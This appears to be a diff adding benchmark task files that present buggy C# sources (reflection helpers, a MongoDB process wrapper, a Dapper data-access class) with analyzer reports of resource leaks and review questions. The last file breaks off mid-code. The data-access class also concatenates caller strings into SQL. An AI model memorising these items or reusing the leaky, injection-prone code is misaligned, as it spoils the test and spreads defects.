+        /// </summary>
+        /// <param name="staticType">The static type to search</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        public static void InvokeMethod(this Type staticType, string methodName) =>
+            staticType.InvokeMethod<object>(methodName);
+
+        /// <summary>
+        /// Invoke a method on the specified object by name with parameters
+        /// </summary>
+        /// <typeparam name="TReturn">The return type of the method</typeparam>
+        /// <param name="instance">The object to invoke the method on</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        /// <param name="methodParams"></param>
+        /// <returns></returns>
+        public static TReturn InvokeMethod<TReturn>(this object instance, string methodName,
+            params object[] methodParams) {
+            var methodInfo = (methodParams == null
+                    ? instance.GetType()
+                        .GetMethodCached(methodName)
+                    : instance.GetType()
+                        .GetMethodCached(methodName, methodParams.Select(x => x.GetType()).ToArray())
+                ) ?? throw new Exception($"Could not find method on type {instance.GetType()} with the name of {methodName} with the arguments specified.");
+
+            return (TReturn)methodInfo.GetMethodDelegateCached()(instance, methodParams);
+        }
+
+        /// <summary>
+        /// Invoke a static method on the specified type by name with parameters
+        /// </summary>
+        /// <typeparam name="TReturn">The return type of the method</typeparam>
+        /// <param name="staticType">The static type to search</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        /// <param name="methodParams">The method parameters</param>
+        /// <returns></returns>
+        public static TReturn InvokeMethod<TReturn>(this Type staticType, string methodName,
+            params object[] methodParams) {
+            var methodInfo = (methodParams == null
+                ? staticType
+                    .GetMethodCached(methodName)
+                : staticType
+                    .GetMethodCached(methodName, methodParams.Select(x => x.GetType()).ToArray()))
+                ?? throw new Exception($"Could not find method on type {staticType} with the name of {methodName} with the arguments specified.");
+
+            return (TReturn)methodInfo.GetMethodDelegateCached()(null, methodParams);
+        }
+
+        /// <summary>
+        /// Invoke a method on the specified object by name with parameters
+        /// </summary>
+        /// <param name="instance">The object to invoke the method on</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        /// <param name="methodParams"></param>
+        public static void InvokeMethod(this object instance, string methodName, params object[] methodParams) =>
+            instance.InvokeMethod<object>(methodName, methodParams);
+
+        /// <summary>
+        /// Invoke a static method on the specified type by name with parameters
+        /// </summary>
+        /// <param name="staticType">The static type to search</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        /// <param name="methodParams"></param>
+        public static void InvokeMethod(this Type staticType, string methodName, params object[] methodParams) =>
+            staticType.InvokeMethod<object>(methodName, methodParams);
+
+
+        private static FastReflectionDelegate GetMethodDelegateCached(this MethodInfo methodInfo) =>
+            DelegateCache.GetOrAdd(methodInfo, method => method.CreateFastDelegate());
+
+        #endregion
+
+        #region Class
+
+        /// <summary>
+        /// Gets the constructor on the specified type with specified arguments and caches it
+        /// </summary>
+        /// <typeparam name="T">The type to search</typeparam>
+        /// <param name="argumentTypes">The types of the arguments on the constructor to find</param>
+        /// <returns></returns>
+        public static ConstructorInfo GetConstructorCached<T>(Type[] argumentTypes) =>
+            GetConstructorCached(typeof(T), argumentTypes);
+
+        /// <summary>
+        /// Gets the constructor on the specified static type with specified arguments and caches it
+        /// </summary>
+        /// <param name="T">The type to search</param>
+        /// <param name="argumentTypes">The types of the arguments on the constructor to find</param>
+        /// <returns></returns>
+        public static ConstructorInfo GetConstructorCached(this Type T, Type[] argumentTypes) =>
+            ConstructorCache.GetOrAddOnNull((T, argumentTypes), x => x.T.GetConstructor(x.argumentTypes)
+                ?? throw new Exception($"Could not find {nameof(ConstructorInfo)} on {T.FullName} with the arguments {string.Join(",", argumentTypes.Select(a => a.FullName))}"));
+
+        /// <summary>
+        /// Gets the nested type on the specified type
+        /// </summary>
+        /// <typeparam name="T">The type to search</typeparam>
+        /// <param name="name">The name of the nested type to find</param>
+        /// <returns></returns>
+        public static Type GetNestedType<T>(string name) =>
+            typeof(T).GetNestedTypeCached(name);
+
+        /// <summary>
+        /// Gets the nested type on the specified type
+        /// </summary>
+        /// <typeparam name="T">The type to search</typeparam>
+        /// <param name="name">The name of the nested type to find</param>
+        /// <returns></returns>
+        public static Type GetNestedTypeCached<T>(string name) =>
+            typeof(T).GetNestedTypeCached(name);
+
+        /// <summary>
+        /// Gets the nested type on the specified static type
+        /// </summary>
+        /// <param name="T">The static type to search</param>
+        /// <param name="name">The name of the nested type to find</param>
+        /// <returns></returns>
+        public static Type GetNestedTypeCached(this Type T, string name) =>
+            NestedTypeCache.GetOrAddOnNull((T, name), x => x.T.GetNestedType(x.name, AllFlags)
+                ?? throw new Exception($"Could not find nested {nameof(Type)} on {T.FullName} with the name {name}"));
+
+        /// <summary>
+        /// Instatiates the specified type
+        /// </summary>
+        /// <param name="type">The type to instantiate</param>
+        /// <returns></returns>
+        public static object Instantiate(this Type type) =>
+            Activator.CreateInstance(type, true);
+
+        /// <summary>
+        /// Instatiates the specified type with specified constructor arguments
+        /// </summary>
+        /// <param name="type">The type to instantiate</param>
+        /// <param name="constructorArguments">The constructor arguments</param>
+        /// <returns></returns>
+        public static object Instantiate(this Type type, params object[] constructorArguments) =>
+            type.GetConstructorCached(constructorArguments.Select(x => x.GetType()).ToArray())
+                .Invoke(constructorArguments);
+
+        /// <summary>
+        /// Instantiates the specified generic type
+        /// </summary>
+        /// <typeparam name="TClass">The type to instantiate</typeparam>
+        /// <param name="typeArgument">The type of the generic type argument</param>
+        /// <returns></returns>
+        public static object InstantiateGeneric<TClass>(this Type typeArgument) =>
+            typeof(TClass).MakeGenericType(typeArgument).Instantiate();
+
+        /// <summary>
+        /// Instantiates the specified generic types
+        /// </summary>
+        /// <typeparam name="TClass">The type to instantiate</typeparam>
+        /// <param name="typeArgument">The types of the generic type arguments</param>
+        /// <returns></returns>
+        public static object InstantiateGeneric<TClass>(this Type[] typeArgument) =>
+            typeof(TClass).MakeGenericType(typeArgument).Instantiate();
+
+        /// <summary>
+        /// Instantiates a list of the specified generic type
+        /// </summary>
+        /// <param name="type"></param>
+        /// <returns></returns>
+        public static IList InstantiateList(this Type type) =>
+            (IList)typeof(List<>).MakeGenericType(type).Instantiate();
+
+        #endregion
+
+        #region Fast Reflection
+
+        private static GetDelegate<TReturn> CreateGetDelegate<TReturn>(this FieldInfo field) {
+            if (field == null) {
+                throw new ArgumentException("Field cannot be null.", nameof(field));
+            }
+
+            if (!typeof(TReturn).IsAssignableFrom(field.FieldType)) {
+                throw new Exception($"Field type {field.FieldType} does not match the requested type {typeof(TReturn)}.");
+            }
+
+
+            var method = new DynamicMethodDefinition($"{field} Getter", typeof(TReturn), new[] { typeof(object) });
+            var il = method.GetILProcessor();
+
+            if (!field.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+                if (field.DeclaringType.GetTypeInfo().IsValueType) {
+                    il.Emit(OpCodes.Unbox_Any, field.DeclaringType);
+                }
+            }
+
+            il.Emit(!field.IsStatic ? OpCodes.Ldfld : OpCodes.Ldsfld, field);
+            il.Emit(OpCodes.Ret);
+
+            return (GetDelegate<TReturn>)method.Generate().CreateDelegate(typeof(GetDelegate<TReturn>));
+        }
+
+        private static SetDelegate<TValue> CreateSetDelegate<TValue>(this FieldInfo field) {
+            if (field == null) {
+                throw new ArgumentException("Field cannot be null.", nameof(field));
+            }
+
+            if (!field.FieldType.IsAssignableFrom(typeof(TValue))) {
+                throw new Exception($"Value type type {typeof(TValue)} does not match the requested type {field.FieldType}.");
+            }
+
+            var method = new DynamicMethodDefinition($"{field} Setter", typeof(void),
+                new[] { typeof(object), typeof(TValue) });
+            var il = method.GetILProcessor();
+
+            if (!field.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+            }
+
+            il.Emit(OpCodes.Ldarg_1);
+            il.Emit(!field.IsStatic ? OpCodes.Stfld : OpCodes.Stsfld, field);
+
+            il.Emit(OpCodes.Ret);
+
+            return (SetDelegate<TValue>)method.Generate().CreateDelegate(typeof(SetDelegate<TValue>));
+        }
+
+        private static SetDelegateRef<TInstance, TValue> CreateSetDelegateRef<TInstance, TValue>(this FieldInfo field) where TInstance : struct {
+            if (field == null) {
+                throw new ArgumentException("Field cannot be null.", nameof(field));
+            }
+
+            if (field.FieldType != typeof(TValue)) {
+                throw new Exception($"Value type type {typeof(TValue)} does not match the requested type {field.FieldType}.");
+            }
+
+            var method = new DynamicMethodDefinition($"{field} SetterByRef", typeof(void),
+                new[] { typeof(TInstance).MakeByRefType(), typeof(TValue) });
+            var il = method.GetILProcessor();
+
+            if (!field.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+            }
+
+            il.Emit(OpCodes.Ldarg_1);
+            il.Emit(!field.IsStatic ? OpCodes.Stfld : OpCodes.Stsfld, field);
+            il.Emit(OpCodes.Ret);
+
+            return (SetDelegateRef<TInstance, TValue>)method.Generate().CreateDelegate(typeof(SetDelegateRef<TInstance, TValue>));
+        }
+
+        private static GetDelegate<TReturn> CreateGetDelegate<TReturn>(this PropertyInfo property) {
+            if (property == null) {
+                throw new ArgumentException("Property cannot be null.", nameof(property));
+            }
+
+            if (!typeof(TReturn).IsAssignableFrom(property.PropertyType)) {
+                throw new Exception($"Field type {property.PropertyType} does not match the requested type {typeof(TReturn)}.");
+            }
+
+            var method = new DynamicMethodDefinition($"{property} Getter", typeof(TReturn), new[] { typeof(object) });
+            var il = method.GetILProcessor();
+
+            var getMethod = property.GetGetMethod(nonPublic: true);
+
+            if (!getMethod.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+            }
+
+            il.Emit(OpCodes.Call, getMethod);
+            il.Emit(OpCodes.Ret);
+
+            return (GetDelegate<TReturn>)method.Generate().CreateDelegate(typeof(GetDelegate<TReturn>));
+        }
+
+        private static GetDelegateRef<TInstance, TReturn> CreateGetDelegate<TInstance, TReturn>(this PropertyInfo property) where TInstance : struct {
+            if (property == null) {
+                throw new ArgumentException("Property cannot be null.", nameof(property));
+            }
+
+            if (!typeof(TReturn).IsAssignableFrom(property.PropertyType)) {
+                throw new Exception($"Field type {property.PropertyType} does not match the requested type {typeof(TReturn)}.");
+            }
+
+            var method = new DynamicMethodDefinition($"{property} Getter", typeof(TReturn), new[] { typeof(TInstance).MakeByRefType() });
+            var il = method.GetILProcessor();
+
+            // Cache this as well?
+            var getMethod = property.GetGetMethod(nonPublic: true);
+
+            if (!getMethod.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+            }
+
+            il.Emit(OpCodes.Call, getMethod);
+            il.Emit(OpCodes.Ret);
+
+            return (GetDelegateRef<TInstance, TReturn>)method.Generate().CreateDelegate(typeof(GetDelegateRef<TInstance, TReturn>));
+        }
+
+
+        private static SetDelegate<TValue> CreateSetDelegate<TValue>(this PropertyInfo property) {
+            if (property == null) {
+                throw new ArgumentException("Property cannot be null.", nameof(property));
+            }
+
+            if (!property.PropertyType.IsAssignableFrom(typeof(TValue))) {
+                throw new Exception($"Value type type {typeof(TValue)} does not match the requested type {property.PropertyType}.");
+            }
+
+            var method = new DynamicMethodDefinition($"{property} Setter", typeof(void),
+                new[] { typeof(object), typeof(TValue) });
+            var il = method.GetILProcessor();
+
+            var setMethod = property.GetSetMethod(true);
+
+            if (!setMethod.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+            }
+
+            il.Emit(OpCodes.Ldarg_1);
+            il.Emit(OpCodes.Call, setMethod);
+            il.Emit(OpCodes.Ret);
+
+            return (SetDelegate<TValue>)method.Generate().CreateDelegate(typeof(SetDelegate<TValue>));
+        }
+
+        private static SetDelegateRef<TInstance, TValue> CreateSetDelegateRef<TInstance, TValue>(this PropertyInfo property) where TInstance : struct {
+            if (property == null) {
+                throw new ArgumentException("Property cannot be null.", nameof(property));
+            }
+
+            if (!property.PropertyType.IsAssignableFrom(typeof(TValue))) {
+                throw new Exception($"Value type type {typeof(TValue)} does not match the requested type {property.PropertyType}.");
+            }
+
+            var method = new DynamicMethodDefinition($"{property} SetterByRef", typeof(void),
+                new[] { typeof(TInstance).MakeByRefType(), typeof(TValue) });
+            var il = method.GetILProcessor();
+
+            var setMethod = property.GetSetMethod(true);
+
+            if (!setMethod.IsStatic) {
+                il.Emit(OpCodes.Ldarg_0);
+            }
+
+            il.Emit(OpCodes.Ldarg_1);
+            il.Emit(OpCodes.Call, setMethod);
+            il.Emit(OpCodes.Ret);
+
+            return (SetDelegateRef<TInstance, TValue>)method.Generate().CreateDelegate(typeof(SetDelegateRef<TInstance, TValue>));
+        }
+
+        // Partial hack from https://github.com/0x0ade/MonoMod/blob/master/MonoMod.Utils/FastReflectionHelper.cs
+        // to get fast call delegates
+        //private static CallDelegate GenerateCallDelegate(this MethodInfo method) {
+        //    if (method == null) {
+        //        throw new ArgumentException("Method cannot be null.", nameof(method));
+        //    }
+
+        //    var dmd = new DynamicMethodDefinition(
+        //        $"CallDelegate<{method.Name}>", typeof(object), new[] { typeof(object), typeof(object[]) });
+        //    var il = dmd.GetILProcessor();
+
+        //    var args = method.GetParameters();
+
+        //    if (!method.IsStatic) {
+        //        il.Emit(OpCodes.Ldarg_0);
+        //        if (method.DeclaringType.GetTypeInfo().IsValueType) {
+        //            il.Emit(OpCodes.Unbox_Any, method.DeclaringType);
+        //        }
+        //    }
+
+        //    for (var i = 0; i < args.Length; i++) {
+        //        var argType = args[i].ParameterType;
+        //        var argIsByRef = argType.IsByRef;
+        //        if (argIsByRef)
+        //            argType = argType.GetElementType();
+        //        var argIsValueType = argType.GetTypeInfo().IsValueType;
+
+        //        if (argIsByRef && argIsValueType) {
+        //            // Used later when storing back the reference to the new box in the array.
+        //            il.Emit(OpCodes.Ldarg_1);
+        //            il.EmitFast_Ldc_I4(i);
+        //        }
+
+        //        il.Emit(OpCodes.Ldarg_1);
+        //        il.EmitFast_Ldc_I4(i);
+
+        //        if (argIsByRef && !argIsValueType) {
+        //            il.Emit(OpCodes.Ldelema, typeof(object));
+        //        }
+        //        else {
+        //            il.Emit(OpCodes.Ldelem_Ref);
+        //            if (!argIsValueType) continue;
+        //            il.Emit(!argIsByRef ? OpCodes.Unbox_Any : OpCodes.Unbox, argType);
+        //        }
+        //    }
+
+        //    if (method.IsFinal || !method.IsVirtual) {
+        //        il.Emit(OpCodes.Call, method);
+        //    }
+        //    else {
+        //        il.Emit(OpCodes.Callvirt, method);
+        //    }
+
+        //    var returnType = method.IsConstructor ? method.DeclaringType : method.ReturnType;
+        //    if (returnType != typeof(void)) {
+        //        if (returnType.GetTypeInfo().IsValueType) {
+        //            il.Emit(OpCodes.Box, returnType);
+        //        }
+        //    }
+        //    else {
+        //        il.Emit(OpCodes.Ldnull);
+        //    }
+
+        //    il.Emit(OpCodes.Ret);
+
+        //    return (CallDelegate) dmd.Generate().CreateDelegate(typeof(CallDelegate));
+        //}
+
+        // https://github.com/0x0ade/MonoMod/blob/master/MonoMod.Utils/FastReflectionHelper.cs
+        public static void EmitFast_Ldc_I4(this ILProcessor il, int value) {
+            switch (value) {
+                case -1:
+                    il.Emit(OpCodes.Ldc_I4_M1);
+                    return;
+                case 0:
+                    il.Emit(OpCodes.Ldc_I4_0);
+                    return;
+                case 1:
+                    il.Emit(OpCodes.Ldc_I4_1);
+                    return;
+                case 2:
+                    il.Emit(OpCodes.Ldc_I4_2);
+                    return;
+                case 3:
+                    il.Emit(OpCodes.Ldc_I4_3);
+                    return;
+                case 4:
+                    il.Emit(OpCodes.Ldc_I4_4);
+                    return;
+                case 5:
+                    il.Emit(OpCodes.Ldc_I4_5);
+                    return;
+                case 6:
+                    il.Emit(OpCodes.Ldc_I4_6);
+                    return;
+                case 7:
+                    il.Emit(OpCodes.Ldc_I4_7);
+                    return;
+                case 8:
+                    il.Emit(OpCodes.Ldc_I4_8);
+                    return;
+            }
+
+            if (value > -129 && value < 128)
+                il.Emit(OpCodes.Ldc_I4_S, (sbyte)value);
+            else
+                il.Emit(OpCodes.Ldc_I4, value);
+        }
+
+        public static byte ReadLocalIndex(OpCode opCode, object operand) {
+            if (opCode == OpCodes.Ldloc_0 || opCode == OpCodes.Stloc_0) {
+                return 0;
+            }
+            if (opCode == OpCodes.Ldloc_1 || opCode == OpCodes.Stloc_1) {
+                return 1;
+            }
+            if (opCode == OpCodes.Ldloc_2 || opCode == OpCodes.Stloc_2) {
+                return 2;
+            }
+            if (opCode == OpCodes.Ldloc_3 || opCode == OpCodes.Stloc_3) {
+                return 3;
+            }
+            if (opCode == OpCodes.Ldloc_S || opCode == OpCodes.Stloc_S) {
+                return (byte)operand;
+            }
+
+            throw new Exception($"Could not read index for opcode and operand: {opCode} - {operand}");
+        }
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource method of type MonoMod.Utils.DynamicMethodDefinition in method "Reflection$SetDelegateRef`2<TInstance,TValue> Reflection.CreateSetDelegateRef(FieldInfo)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Reflection$SetDelegateRef`2<TInstance,TValue> Reflection.CreateSetDelegateRef(FieldInfo)
+
+### File:
+R2API/Utils/Reflection.cs
+
+### Key:
+Reflection.cs|CreateSetDelegateRef|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7d013c8b9d63c2c37da5e5eea60a4e48
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0509/instruction.md b/inferredbugs-0509/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b563e68a981eab9cfc11eadf5381fb4ac18486b3
--- /dev/null
+++ b/inferredbugs-0509/instruction.md
@@ -0,0 +1,181 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Mongo2Go
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Diagnostics;
+using System.Globalization;
+using System.Threading;
+
+namespace Mongo2Go.Helper
+{
+    public class MongoDbProcess : IMongoDbProcess
+    {
+        private const string ProcessReadyIdentifier = "waiting for connections";
+        private Process _process;
+
+        public bool Disposed { get; private set; }
+
+        internal MongoDbProcess(Process process)
+        {
+            _process = process;
+        }
+
+        public IMongoDbProcess Start(string binariesDirectory, string dataDirectory, int port)
+        {
+            string fileName  = @"{0}\{1}".Formatted(binariesDirectory, MongoDbDefaults.MongodExecutable);
+            string arguments = @"--dbpath ""{0}"" --port {1} --nohttpinterface --nojournal".Formatted(dataDirectory, port);
+
+            ProcessStartInfo startInfo = new ProcessStartInfo
+                {
+                    FileName = fileName,
+                    Arguments = arguments,
+                    //CreateNoWindow = true,
+                    UseShellExecute = false,
+                    RedirectStandardOutput = true,
+                };
+
+            Process process = new Process { StartInfo = startInfo };
+
+            StartAndBlockUntilReady(process, 5);
+
+            return new MongoDbProcess(process);
+        }
+
+        /// <summary>
+        /// Reads from Output stream to determine if MongoDB is ready
+        /// </summary>
+        private static void StartAndBlockUntilReady(Process process, int timeoutInSeconds)
+        {
+            bool processReady = false;
+            process.OutputDataReceived += (sender, args) =>
+                {
+                    if (!string.IsNullOrEmpty(args.Data) &&
+                        args.Data.Contains(ProcessReadyIdentifier))
+                    {
+                        processReady = true;
+                    }
+                };
+
+            process.Start();
+            process.BeginOutputReadLine();
+
+            int lastResortCounter = 0;
+            int timeOut = timeoutInSeconds*10;
+            while (!processReady)
+            {
+                Thread.Sleep(100);
+                if (++lastResortCounter > timeOut)
+                {
+                    // we waited X seconds.
+                    // for any reason the detection did not worked, eg. the identifier changed
+                    // lets assume everything is still ok
+                    break;
+                }
+            }
+
+            process.CancelOutputRead();
+        }
+
+        #region IDisposable and friends
+
+        public void Dispose()
+        {
+            Dispose(true);
+            GC.SuppressFinalize(this);
+        }
+
+        private void Dispose(bool disposing)
+        {
+            if (Disposed) { return; }
+            if (disposing)
+            {
+                // we have no "managed resources" - but we leave this switch to avoid an FxCop CA1801 warnig
+            }
+            Kill();
+
+            // wait a bit to be sure
+            Thread.Sleep(500);
+
+            Disposed = true;
+        }
+
+        ~MongoDbProcess()
+        {
+            Dispose(false);
+        }
+
+        private void Kill()
+        {
+            if (_process == null)
+            {
+                return;
+            }
+
+            if (!_process.HasExited)
+            {
+                _process.Kill();
+            }
+
+            _process.Dispose();
+            _process = null;
+        }
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource process of type System.Diagnostics.Process, Leaked resource return of type Mongo2Go.Helper.MongoDbProcess in method "IMongoDbProcess MongoDbProcess.Start(String,String,Int32)".
+
+### Severity:
+ERROR
+
+### Procedure:
+IMongoDbProcess MongoDbProcess.Start(String,String,Int32)
+
+### File:
+Mongo2Go/Mongo2Go/Helper/MongoDbProcess.cs
+
+### Key:
+MongoDbProcess.cs|Start|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4cd426fe69612e9962db815d7feacfba
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0531/instruction.md b/inferredbugs-0531/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..27625bf6d149cce75bf94c209ccc7b23b47728fd
--- /dev/null
+++ b/inferredbugs-0531/instruction.md
@@ -0,0 +1,191 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** MIMS
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using MIMS.Entity.Model;
+using System;
+using System.Collections.Generic;
+using System.Collections;
+using System.Configuration;
+using System.Data;
+using System.Data.SqlClient;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using Dapper;
+using MIMS.Entity.Dtos;
+
+namespace MIMS.Service
+{
+    public class PSS_InWarehouseDetailDAL
+    {
+
+        #region init dbconnection
+        private static readonly string connString = ConfigurationManager.ConnectionStrings["PharmacySystem"].ConnectionString;
+        private IDbConnection _conn;
+        public IDbConnection Conn
+        {
+            get
+            {
+                _conn = new SqlConnection(connString);
+                _conn.Open();
+                return _conn;
+            }
+        }
+        #endregion
+
+        /// <summary>
+        /// 获取一个list的数据
+        /// </summary>
+        /// <returns></returns>
+        public IList GetList(Dictionary<string, object> prams, string where = null)
+        {
+            using (Conn)
+            {
+                string query = "SELECT * FROM PSS_InWarehouseDetail WHERE 1=1 ";
+                if (!string.IsNullOrEmpty(where))
+                    query += where;
+                return Conn.Query<PSS_InWarehouseDetail>(query, prams).ToList();
+            }
+
+        }
+        /// <summary>
+        /// 分页获取数据列表(带条件)
+        /// </summary>
+        /// <param name="where">条件</param>
+        /// <param name="orderField">排序字段</param>
+        /// <param name="prams">参数</param>
+        /// <param name="orderType">排序类型</param>
+        /// <param name="pageIndex">当前页</param>
+        /// <param name="pageSize">页大小</param>
+        /// <param name="count">总条数</param>
+        /// <returns></returns>
+        public IList GetPageListWhere(StringBuilder where, Dictionary<string, object> prams, string orderField, string orderType, int pageIndex, int pageSize, ref int count)
+        {
+            int num = (pageIndex - 1) * pageSize;
+            int num1 = pageIndex * pageSize;
+            using (Conn)
+            {
+                StringBuilder strSql = new StringBuilder();
+                StringBuilder sql = new StringBuilder();
+                sql.Append(@"SELECT * FROM (SELECT  I.*,
+													B.PinyinCode,
+													A.Stock,
+													B.PhaName,
+													B.Spec,
+													B.Unit,
+													O.OrginName,
+													C.CompanyName
+														FROM PSS_InWarehouseDetail I
+													LEFT JOIN PHA_Accounts A ON I.PhaCode = A.PhaCode AND I.OrginID = A.OrginID
+													LEFT JOIN PHA_BaseInfo B ON I.PhaCode = B.PhaCode
+													LEFT JOIN PHA_Orgin O ON I.OrginID = O.OrginID
+													LEFT JOIN PSS_PurchaseCompany C ON A.CompanyID = C.CompanyID) A WHERE 1=1 ");
+                sql.Append(where);
+                strSql.Append("Select * From (Select ROW_NUMBER() Over (Order By " + orderField + " " + orderType + "");
+                strSql.Append(") As rowNum, * From (" + sql + ") As T ) As N Where rowNum > " + num + " And rowNum <= " + num1 + "");
+                count = Conn.Query<int>("Select Count(1) From (" + sql + ") As t", prams).Single();
+                return Conn.Query<Dto_InWarehouseDetail>(strSql.ToString(), prams).ToList();
+            }
+        }
+
+        /// <summary>
+        /// 根据主键值获得一个对象
+        /// </summary>
+        /// <param name="id"></param>
+        /// <returns></returns>
+        public PSS_InWarehouseDetail GetEntity(string id)
+        {
+            using (Conn)
+            {
+                string query = "SELECT * FROM PSS_InWarehouseDetail WHERE ID=@ID";
+                return Conn.Query<PSS_InWarehouseDetail>(query, new { ID = id }).SingleOrDefault();
+            }
+        }
+
+        //        public int Update(PSS_InWarehouseDetail obj)
+        //        {
+        //            using (Conn)
+        //            {
+        //                string query = @"UPDATE PSS_InWarehouseDetail 
+        //                                    SET  PurchaseNo=@PurchaseNo,PurchaseDate=@PurchaseDate,
+        //                                         Remark=@Remark,OperateNo=@OperateNo,OperateDate=@OperateDate,PurchaseStatus=@PurchaseStatus 
+        //                                       WHERE PurchaseNo =@PurchaseNo";
+        //                return Conn.Execute(query, obj);
+        //            }
+        //        }
+        public int Insert(PSS_InWarehouseDetail obj)
+        {
+            obj.InWarehouseSum = obj.InWarehousePrice * obj.InWarehouseCount;
+            using (Conn)
+            {
+                string query = @"INSERT INTO PSS_InWarehouseDetail 
+									VALUES(@IWID,@IWWay,@PhaCode,@OrginID,@PhaNo,@PhaExpiry,@InWarehouseCount,@InWarehousePrice,@InWarehouseSum)";
+                return Conn.Execute(query, obj);
+            }
+        }
+        public int Delete(PSS_InWarehouseDetail obj)
+        {
+            using (Conn)
+            {
+                string query = @"DELETE FROM PSS_InWarehouseDetail WHERE ID = @ID";
+                return Conn.Execute(query, obj);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.Data.IDbConnection MIMS.Service.PSS_InWarehouseDetailDAL::get_Conn() at Line 44) of type System.Data.SqlClient.SqlConnection in method "IList PSS_InWarehouseDetailDAL.GetList(Dictionary`2<!0,!1>,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+IList PSS_InWarehouseDetailDAL.GetList(Dictionary`2<!0,!1>,String)
+
+### File:
+MIMS.Service/PSS_InWarehouseDetailDAL.cs
+
+### Key:
+PSS_InWarehouseDetailDAL.cs|GetList|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7d124964dbdbb29a4ac576286d6b90c3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0536/instruction.md b/inferredbugs-0536/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a6f69e49ef0a40b91fad9f4535efc180138adae4
--- /dev/null
+++ b/inferredbugs-0536/instruction.md
@@ -0,0 +1,217 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** USharp
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace UnrealEngine.Runtime
+{
+    public partial class CodeGenerator
+    {
+        private void AppendAttribute(CSharpTextBuilder builder, UField field, UnrealModuleInfo module, StructInfo structInfo)
+        {
+            AppendAttribute(builder, field, module);
+            //if (field.IsA<UScriptStruct>() && structInfo.StructAsClass)
+            //{
+            //    builder.AppendLine("[" + Names.UStructAsClassAttributeShort + "]");
+            //}
+        }
+
+        private void AppendAttribute(CSharpTextBuilder builder, UField field, UnrealModuleInfo module)
+        {
+            AppendAttribute(builder, field, module, false);
+        }
+
+        private void AppendAttribute(CSharpTextBuilder builder, UField field, UnrealModuleInfo module, bool isCollapsedMember)
+        {
+			UnrealModuleType moduleType;
+			UnrealModuleType moduleAssetType;
+			string moduleName = GetModuleName(field, out moduleType, out moduleAssetType);
+            if (string.IsNullOrEmpty(moduleName))
+            {
+				moduleName = module.Name;
+            }
+
+            List<string> attributes = new List<string>();
+
+            // TODO: Combine all of this into EPropertyType (add some TypeCode into UField?)
+            bool isInterface = false;
+			UEnum unrealEnum = field as UEnum;
+			UClass unrealClass = field as UClass;            
+            UScriptStruct unrealStruct = field as UScriptStruct;
+
+            UFunction unrealFunction = field as UFunction;
